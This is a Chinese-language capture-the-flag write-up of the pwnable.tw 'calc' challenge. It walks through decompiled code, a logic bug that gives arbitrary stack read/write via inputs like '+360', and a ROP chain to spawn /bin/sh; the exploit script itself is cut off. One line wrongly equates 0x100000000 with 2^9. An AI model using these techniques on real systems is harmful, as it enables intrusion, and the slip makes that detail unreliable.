pwnable.tw之calc
本题考查的是对程序逻辑的理解,达到任意地址读写的目的,并最终利用ROP技术执行execve('/bin/sh')。
题目分析
做过了前面pwnable.tw两道题后,第三题calc的难度突然增大。
checksec检查下开启了canary和NX。
1
2
3
4
5
6Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
通过IDA
pro分析,并没有发现栈溢出和堆溢出的逻辑,倒是发现了程序在parse_expr函数中,通过malloc得到的堆内存没有free掉。
那好只能捋一遍逻辑了。
main函数没什么可分析的,直接进入calc函数。
1 | int calc() |
calc函数主要逻辑最外层是无线循环,变量s是0x400大小的数组,并每次循环清空为零;
get_expr((int)&s, 1024)的作用是将用户输入的计算公式包括(0-9、+、-、*、
/、 %)
存入变量s中。可知变量s代表char[0x400]。
init_pool(&v1);的作用是将变量v1的101个_DWORD大小的元素清空置零。而从变量声明来看,v1表示int[101],可以看作v2是v1的第二个元素。
parse_expr((int)&s, &v1)用来处理字符串s,并计算结果保存在v1;
printf((const char *)&unk_80BF804, v2[v1 - 1]);
打印计算结果,计算结果存放在v2中,也可以认为存放在v1中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14_DWORD *__cdecl init_pool(_DWORD *a1)
{
_DWORD *result; // eax@1
signed int i; // [sp+Ch] [bp-4h]@1
result = a1;
*a1 = 0;
for ( i = 0; i <= 99; ++i )
{
result = a1;
a1[i + 1] = 0;
}
return result;
}
parse_expr分析
parse_expr((int)&s, &v1)的作用是本程序的重要逻辑,负责计算公式。计算公式结果无非就是处理操作数和操作符,利用两个栈来处理,同时注意操作符的优先级。按照这个思路来分析本体会很清晰。
分析此函数,形参a1是用户输入公式的过滤字符串,包含(0-9,+,-,*,/,%)。a2存储中间的计算结果。
程序逐一遍历字符串a1,直到碰到非数字字符,这里(unsigned int)(*(_BYTE *)(i + a1) - 48) > 9的意思是a1[i]-'0'的绝对值大于9,unsigned int将负数转换成大整数。
1 | In [52]: chr(42) |
接下来将之前连续的数字字符保存在s1中,!strcmp(s1, "0")判断防止除零,但是有bug,但是不是我们想要的。
在转换字符串s1为整数v10后,
v4 = (*a2)++;
a2[v4 + 1] = v10;这两句很关键,变量a2的第一个元素存储操作数的个数,a2之后当作存储操作数的栈。
具体的写到了下面代码中。到此还没有发现问题,只能继续分析eval(a2, s[v8]);。
1 | signed int __cdecl parse_expr(int a1, _DWORD *a2) |
在eval中,形参a2是操作符,形参a1有两个责任,a1[0]记录着操作数栈上的个数,a1[1:]是操作数栈。
比如:10+20-50,在处理-时,进入eval函数,进行的处理为:
1
2
3
4初始: a1[0]=2, a1[1]=10, a1[2]=20, a2='+',
这时的做法是`a1[a1[0] -1] += a1[ a1[0] ]`,即a1[1]+=a[12],a1[1] = 30
--a1[0] ;
结束: a1[0] = 1;a1[1] = 30
所以,操作数栈最终的元素只剩下一个,a1[0] = 1。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax@12
if ( a2 == 43 )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == 47 )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
最后的最后,main函数输出printf((const char *)&unk_80BF804, v2[v1 - 1]);,这里相当于取值a1[a1[0] -1+1]=a1[a1[0]]。
分析到这里,老铁,好像没毛病。 ## 逆向思考
本着任意地址读写的目的,如果我们能够控制a1[0],那么我们就可以读取栈上从a1开始的任意数据了。
怎么控制a1[0]呢,只能逆向推过去,分析eval,a1[*a1 - 1] += a1[*a1];,哈哈,控制a1[0]就是让a1[0] = 1;
因为只有这样,a1[ a1[0] -1 ] += a1[ a1[0] ]才成立;
a1[0] = a1[0] + a1[1] = 1+a1[1]。注意,“-,/,%”不好使,*也可以,因为相当于a1[0] = a1[0] * a1[1] = 1*a1[1],也可以用,不过最后a1[0]-1。
继续逆向分析,怎么让a1[0]为1?由于a1是操作数栈,让操作数为1个即可,只能让左操作数为空了。
尝试+10,这可以泄露出a1[10]的值,不过好像没什么卵用。
1
2
3
4
5➜ calc ./calc
=== Welcome to SECPROG calculator ===
+10
0
为什么会是0,哪里设置过了吗?查看calc,还真是。
1
2
3
4
5···
bzero(&s, 0x400u);
···
init_pool(&v1);
···
a1(即v1)距离ebp偏移量为0x5a0,转换成数组下标为0x5a0/4=360。
这次重新尝试,泄露ebp中的内容 1
2
3
4
5➜ calc ./calc
=== Welcome to SECPROG calculator ===
+360
-5665800
老铁,成功了一半,我们只是能够读任意地址了,如何写呢?
很简单,a1[*a1 - 1] += a1[*a1];由于经过+360我们已经控制了a1[0],那么之后无论再进行如何操作,都是对a1[a1[0]]的操作。
比如:由于每轮计算清空v1和s,所以不一样,没关系,已经证明可以更改。
1
2
3
4
5
6
7
8
9➜ calc ./calc
=== Welcome to SECPROG calculator ===
+20
0
+20+10
10
+20+40
40
到这,栈上任意地址可读可写。该题的漏洞允许攻击者绕过canary直接篡改返回值,因此canary的值不变。
由于程序开启了NX保护,无法在栈上执行shellcode。而且程序是静态编译的。考虑的使用ROP技术来调用execve("/bin/sh")来启动
shell,再通过cat命令查看flag的内容。 1
2
3
4
5
6➜ calc objdump -R calc
calc: file format elf32-i386
objdump: calc: not a dynamic object
objdump: calc: Invalid operation
我是第一次使用ROP,感觉太好用了,教程参考这里http://vancir.com/posts/ret2syscall%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF%E7%A4%BA%E4%BE%8B。
通过ROPgadget来查找小部件,类似于pop eax; ret或mov eax, esp; ret这样的代码碎片。具体的不再赘述。
难点在于/bin/sh\0的地址;由于其存放在栈上,栈地址变化需要泄露出来。如何泄露栈地址?
我们能泄露保存在栈上的栈地址就是ebp,在a1[360]位置处存放的值是main函数的ebp。那么我们只要确定main函数的栈空间大小即可。
1
2
3
4.text:08049452 push ebp
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h($ebp & 0xFFFFFFF0 -0x10)。
我们布置好ROP代码是从a1[361]开始,这里是calc函数返回地址,/bin/sh\0距离calc的返回地址是已知的,而calc返回地址在main函数栈指针esp低4字节位置。所以根据相对位置推出绝对位置。
坑啊,ebp应该是无符号数,但是被当作有符号数输出,输出的是负数,需要加上0x100000000(2^9)才是无符号数的真实值。我被这个折腾了好久。
python转换int32位无符号和有符号。 1
2
3
4import ctypes
def int32_to_uint32(i):
return ctypes.c_uint32(i).value
代码
有时候运行一次会中断,再运行一次即可。
1 | from pwn import * |
参考
[1] Pwnable.tw刷题之calc [2] Pwnable.tw calc